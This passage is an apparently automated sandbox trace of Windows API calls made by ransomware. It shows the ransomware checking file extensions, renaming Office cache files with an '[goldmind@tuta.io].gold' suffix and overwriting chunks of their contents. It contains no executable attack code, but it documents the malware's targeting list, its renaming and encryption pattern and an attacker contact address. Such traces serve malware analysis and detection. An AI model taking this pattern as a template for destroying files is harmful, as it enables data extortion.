(lpString=".bz2") returned 4 [0036.061] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.061] lstrlenW (lpString=".7z") returned 3 [0036.061] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.061] lstrlenW (lpString=".dbf") returned 4 [0036.061] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.061] lstrlenW (lpString=".1cd") returned 4 [0036.061] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0036.061] lstrlenW (lpString=".jpg") returned 4 [0036.061] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.061] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0036.061] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0036.061] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0036.062] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2513920) returned 1 [0036.062] CloseHandle (hObject=0x180) returned 1 [0036.062] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0036.062] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.062] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0036.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0036.062] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.062] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.062] ReadFile (in: hFile=0x180, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.066] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.066] ReadFile (in: hFile=0x180, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.074] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.074] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.074] ReadFile (in: hFile=0x180, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.091] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.091] WriteFile (in: hFile=0x180, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0036.104] SetEndOfFile (hFile=0x180) returned 1 [0036.104] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f44098 [0036.291] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.291] WriteFile (in: hFile=0x180, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.293] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.293] WriteFile (in: hFile=0x180, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.297] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.297] WriteFile (in: hFile=0x180, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.299] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f44098 | out: hHeap=0x880000) returned 1 [0036.301] CloseHandle (hObject=0x180) returned 1 [0036.680] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0036.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.680] lstrlenW (lpString=".doc") returned 4 [0036.680] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.680] lstrlenW (lpString=".docx") returned 5 [0036.680] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.680] lstrlenW (lpString=".pdf") returned 4 [0036.680] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.680] lstrlenW (lpString=".xls") returned 4 [0036.680] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.680] lstrlenW (lpString=".xlsx") returned 5 [0036.680] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.680] lstrlenW (lpString=".ppt") returned 4 [0036.680] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.680] lstrlenW (lpString=".zip") returned 4 [0036.680] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.680] lstrlenW (lpString=".rar") returned 4 [0036.680] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.680] lstrlenW (lpString=".bz2") returned 4 [0036.680] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.680] lstrlenW (lpString=".7z") returned 3 [0036.680] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.680] lstrlenW (lpString=".dbf") returned 4 [0036.680] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.680] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.680] lstrlenW (lpString=".1cd") returned 4 [0036.681] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.681] lstrlenW (lpString=".jpg") returned 4 [0036.681] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.681] lstrlenW (lpString=".doc") returned 4 [0036.681] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0036.681] lstrlenW (lpString=".docx") returned 5 [0036.681] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0036.681] lstrlenW (lpString=".pdf") returned 4 [0036.681] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0036.681] lstrlenW (lpString=".xls") returned 4 [0036.681] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0036.681] lstrlenW (lpString=".xlsx") returned 5 [0036.681] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0036.681] lstrlenW (lpString=".ppt") returned 4 [0036.681] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.681] lstrlenW (lpString=".zip") returned 4 [0036.681] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.681] lstrlenW (lpString=".rar") returned 4 [0036.681] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.681] lstrlenW (lpString=".bz2") returned 4 [0036.681] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.681] lstrlenW (lpString=".7z") returned 3 [0036.681] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.681] lstrlenW (lpString=".dbf") returned 4 [0036.681] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.681] lstrlenW (lpString=".1cd") returned 4 [0036.681] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.681] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.681] lstrlenW (lpString=".jpg") returned 4 [0036.681] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.681] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0036.681] lstrlenW (lpString="OutlkLR.cab") returned 11 [0036.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0036.682] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=14819276) returned 1 [0036.682] CloseHandle (hObject=0x180) returned 1 [0036.682] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0036.682] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.682] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0036.682] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0036.683] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.683] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.683] ReadFile (in: hFile=0x180, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.686] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.686] ReadFile (in: hFile=0x180, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.984] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.984] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.984] ReadFile (in: hFile=0x180, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.002] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.002] WriteFile (in: hFile=0x180, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0037.013] SetEndOfFile (hFile=0x180) returned 1 [0037.013] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f44098 [0037.014] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.014] WriteFile (in: hFile=0x180, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.014] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.014] WriteFile (in: hFile=0x180, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.015] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.015] WriteFile (in: hFile=0x180, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.016] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f44098 | out: hHeap=0x880000) returned 1 [0037.016] CloseHandle (hObject=0x180) returned 1 [0038.795] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.805] lstrlenW (lpString=".doc") returned 4 [0038.805] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0038.805] lstrlenW (lpString=".docx") returned 5 [0038.805] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0038.805] lstrlenW (lpString=".pdf") returned 4 [0038.805] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0038.805] lstrlenW (lpString=".xls") returned 4 [0038.805] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0038.805] lstrlenW (lpString=".xlsx") returned 5 [0038.805] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0038.805] lstrlenW (lpString=".ppt") returned 4 [0038.805] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0038.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.805] lstrlenW (lpString=".zip") returned 4 [0038.805] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0038.805] lstrlenW (lpString=".rar") returned 4 [0038.806] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString=".bz2") returned 4 [0038.806] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0038.806] lstrlenW (lpString=".7z") returned 3 [0038.806] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.806] lstrlenW (lpString=".dbf") returned 4 [0038.806] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.806] lstrlenW (lpString=".1cd") returned 4 [0038.806] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.806] lstrlenW (lpString=".jpg") returned 4 [0038.806] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.806] lstrlenW (lpString=".doc") returned 4 [0038.806] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString=".docx") returned 5 [0038.806] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0038.806] lstrlenW (lpString=".pdf") returned 4 [0038.806] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString=".xls") returned 4 [0038.806] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString=".xlsx") returned 5 [0038.806] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0038.806] lstrlenW (lpString=".ppt") returned 4 [0038.806] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.806] lstrlenW (lpString=".zip") returned 4 [0038.806] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString=".rar") returned 4 [0038.806] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString=".bz2") returned 4 [0038.806] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0038.806] lstrlenW (lpString=".7z") returned 3 [0038.806] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.806] lstrlenW (lpString=".dbf") returned 4 [0038.806] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.806] lstrlenW (lpString=".1cd") returned 4 [0038.806] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0038.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0038.806] lstrlenW (lpString=".jpg") returned 4 [0038.807] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0038.807] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0038.807] lstrlenW (lpString="Proof.msi") returned 9 [0038.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.807] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=875520) returned 1 [0038.807] CloseHandle (hObject=0x180) returned 1 [0038.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0038.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.807] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.807] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.808] GetLastError () returned 0x0 [0038.808] ReadFile (in: hFile=0x180, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0038.827] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0038.840] ReadFile (in: hFile=0x180, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.840] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.840] SetEndOfFile (hFile=0x1b0) returned 1 [0038.840] CloseHandle (hObject=0x1b0) returned 1 [0038.847] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.847] SetEndOfFile (hFile=0x180) returned 1 [0039.320] CloseHandle (hObject=0x180) returned 1 [0039.320] SetFileAttributesW (lpFileName="C:\\MSOCache\\All 